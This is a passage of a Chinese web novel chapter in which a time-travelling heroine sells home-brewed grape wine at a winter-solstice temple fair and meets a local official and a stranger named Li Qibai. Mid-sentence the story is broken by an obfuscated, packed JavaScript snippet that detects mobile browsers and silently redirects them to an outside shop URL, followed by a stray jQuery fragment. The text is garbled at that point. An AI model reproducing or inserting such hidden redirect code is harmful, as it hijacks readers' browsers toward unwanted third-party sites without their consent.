冬至当天,灰蒙蒙的天色终于放了晴,瓦蓝瓦蓝的天空中没有一丝浮云,盖在绵延无垠的白雪戈壁上。
从城西门出去,远远能看见一圈矮墙,中间围了个低矮小房,那就是土祠了。
土祠本身不大,只有一间正殿,祠堂前是一片铺了碎石板的开阔平地。陶盏心去的时辰不早了,穿过庙门门洞来到平地,只能看见攒动的帽檐、各色的袄子、围圈的人群,圈中间已经奏响了蕃人的旋律。
筚篥苍凉,腰鼓欢快,胡琴悠扬。
陶盏心呼出一口白雾。呼,真是好生热闹!
今天摆摊的人并不多,大家都想趁着一年难得的公休日尽情放松。所以即使她来晚了,也还是能找到个落脚的地方。
阿雀帮着她摆好小车后,便倏地钻进人群中没了影。
陶盏心笑了笑,果然还是小孩子更爱玩。而经历了现代各种电子娱乐之后的她,倒是提不起多大的兴趣。
“陶娘子,贺亚岁!今天还摆摊啊!”
是之前为了佩囊,第一个喝了杏皮茶的小娘子。
小娘子今日过节穿得喜庆,一身枣红窄袖夹袄,头上红玛瑙点缀的银钗很是相衬,再配上甜滋滋的笑容,更是喜意洋洋。
就是……陶盏心扫了眼她冻得通红的鼻头,为了展示簪子连帽子都不戴,也是和几千年后那群不穿秋裤、漏脚脖子的小年轻没什么区别了。
“小娘子今日这簪子真是好生漂亮,让我也是开了眼。”见小娘子身边还有个小姊妹,陶盏心赶紧拉拢新客源,“二位是今年冬至第一单,免单送二位两碗热蒲萄酒。”
也是给两位“不怕冷”的小妹妹暖暖身子了。
两人皆是一喜,道谢后一起小口啜饮,十足优雅。寒冬里品点热酒简直美事一桩,更何况她的这酒,可是进化了千年的现代款哦。
宋时已有葡萄酒,不过多是西域进贡的珍品。但民间酿酒技术纯熟,也会将葡萄等水果,同米和酒曲混酿制作果酒。颜色大多浑浊偏黄,富人家才能将其过滤得清亮。且因为是一同酿造,因此果味和酒味融合更深,导致果味更淡。
对于被现代各类酒养刁了舌头的陶盏心来说,这时的酒除了辣嗓子就是淡如水,实在有些没意思。于是在摆摊熟练后,她便琢磨着怎么重拾旧业,好好利用自家那缸葡萄干,酿出现代人习惯的酸甜口白葡萄酒。
酒曲需要在榷场才能买,在寒冬更是珍贵,再加上没有新鲜葡萄,陶盏心舍了加酒曲的方子,直接用葡萄干自带的酵母,那地窖中现成的糜子酒当引子二次发酵,就能零成本做出酒了。二次发酵的残留果糖会更多,果味也会更“冲”、更甜。
她将葡萄干泡软捏碎放入陶罐,兑入糜子酒和清水,在盖子上留缝透气,放在灶旁借余温慢慢发酵。待到一周左右,罐子里便泛出气泡,整个厨房果香四溢。这种二次发酵的果酒需要尽快饮用,多放几天就有可能变酸,成为果醋。陶盏心用粗布将酒反复过滤筛去果渣,最后终于得到一罐琥珀色葡萄酒。
光是这清亮的颜色就让两位小娘子惊了一番,喝了一口后,红玛瑙小娘子脸上一愣,接着双眼立即弯成月牙。
“陶娘子这酒竟是满满的蒲萄味儿!酸酸甜甜的,如果冰镇,兴许还会更好喝呢!”
“秦七,你看,拂柳观的道长们都在那边呢,我们要不要过去看看呀。”
陶盏心正高兴有个爱冰的同道中人,结果被小姊妹抢了话头。小姊妹话说得自然,表情语气却促狭不少。
“我,那我们也过去烧柱香吧。”
得,刚才还怡然自得的秦小娘子突然就像咬到了舌头,看过无数甜宠剧的陶盏心突然福至心灵。
“好呀,不知道那位香客今天还会不会认识你呢?”
香客?
正想看现场版恋综的陶盏心愣了神,往青烟飘渺的方向望了望,却只看到一片灰白道袍。两个小姑娘走远了,她的脑中却又兀地飘过了一点白雪。
“陶娘子,给我来碗酒!”
“哦,好!一碗热蒲萄酒,祝您阳生岁暖,百事顺遂!”
陶盏心立马回神,什么风啊雪啊的,都不如清脆响的铜板好。
今日来祈福的除了平民百姓,县城里有头有脸的人物也来了不少。在这吉祥日子里喝一碗甜甜的小酒,貌美的小娘子还会说几句吉祥话,即使这些人物比不上京城的皇亲国戚,一开心了还是爆出不少金币。
“不用找了。”
陶盏心捧着白花花的银子,恨不得直接在地上磕一个。就是在当下土祠这场景里,实在有点不合适。
一天过去,陶盏心点了点钱罐,多亏了那些大方的夫人老爷们,今天一天赚的都快赶上摆摊半个月了。
要是每天都是冬至就好了。
日头渐渐落下,乐人的表演没了声音,上完香的人没了耍事也都结伴回了。阿雀要去照顾爹爹,也自行先回去了。
陶盏心看了看陶罐,还剩下两三碗的量了。今天卖了一天的酒,剩下这点也该给自己尝尝了。
她坐在胡床上,小口啜着,眯缝着眼看那缕青烟飘到天上,渐渐没了影。
来这里快一个月了,早已适应了自己现在的身子和生活。每天听着铜板落到陶罐里脆生生的响,刚穿过来时的恐惧与忧思,全都如这缕青烟一般,散在空中了。
陶盏心又喝了一口,挺好。
“陶娘子,还有酒吗?”
一个身影挡住了陶盏心的视线,她微微一聚焦,原是吕明熠吕大人啊。
今天土祠集会,人流量大,还有不少胡人表演,吕明熠作为押司,理应过来看着点治安。
吕明熠本就是个做事谨慎认真的人,再加上今日治安又是亲爹交下来的任务,更是打起了十二分的精神,天不亮就和兄弟们过来亲自镇守,真真是严格站好了每一分钟的岗。直到现在人散了,才把手下遣散回去,自己也来享受下节日最后的氛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943304|214001||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
围。
这最后的氛围,自然只有还没收摊的蒲萄酒了。
今天陶盏心刚到时他就注意到了,小摊贩本就在他的管辖范围内,更况且陶娘子的生意真是一天比一天好,眼瞅着摊前围满了人,又听着耳边时不时飘来的“陶娘子的酒可真好喝”,可把吕明熠馋了一整天。
现在下值了,终于可以尝一尝了。
“还剩最后一点福根了,大人掐得好时机。”陶盏心笑笑,忙不迭给吕明熠盛了一碗,“一碗热蒲萄酒,祝您案牍清宁,阖家幸福。”
案牍清宁即是少点工作,阖家幸福的话家里的老头确实能少训自己两回。
这陶娘子还是这么会说话。
吕明熠忍不住弯了弯嘴角,说:“谢陶娘子吉言。最近家里那位主簿大人心情甚好,似是向府的纵火案有了眉目,某的日子也确实幸福不少。”
纵火案?莫不是那个带疤的胡人被抓住了?
那可真是个大喜事啊!
陶盏心本只是客气客气,没想到听到这么个好消息。她赶忙双手拿碗,冲吕明熠一举:“真是可喜可贺。朔宁县里有主簿和押司二位,想必讼事清明,阖县太平!”
“哈哈。”吕明熠难得笑得开怀,举碗同陶盏心一碰。可刚一碰完,就见这小娘子竟豪放地一饮而尽。如此豪爽,让见惯了温柔斯文小娘子的古人,着实惊了一番。
这陶娘子,可真是个性情中人啊……
吕明熠笑着摇了摇头,正想跟着一饮而尽,余光却突然瞥见祠堂内走出两个人影。
他停了动作,看了看空了的陶罐,突然放下碗说道:“晚上还要处理公务呢,某还是不喝了,这点福根留给后面的人吧。”
说完竟自顾自地出庙门牵马去了。
陶盏心:“?”
哪儿有别人都干了,自己还逃酒的啊?亏我还想最后赚你最后一笔小费呢。
陶盏心对着那本不存在的小费心疼得滴血,况且这土祠人都走/光了,哪儿还有“后面的人”了?
“小娘子,您那边是卖蒲萄酒的吗?请问还有吗?”
竟真有人在喊自己。
陶盏心闻声回望,看到一大一小两个人影从祠堂里走出。前面的小孩边跑边冲自己挥手,想必是他在喊自己。
“还有的!”
陶盏心跟着挥了挥手,手却突然停在空中,跑近的小孩也停了脚步。
“小麻袋?”
“陶娘子?”
两人同时愣住。
“竹笙你慢点,路上结冰了,仔细别摔了。”
后面的男子缓步跟了上来,手里还拿这条棉布围巾,贴心地给竹笙系好。
竹笙回过神来:“谢,谢谢十一哥儿。”
十一哥儿?陶盏心视线一顿。
察觉到小娘子的注视,向泽回望过来。他笑了笑,面前呵出一口白雾。
“某李栖白,久闻陶娘子大名,贺亚岁。”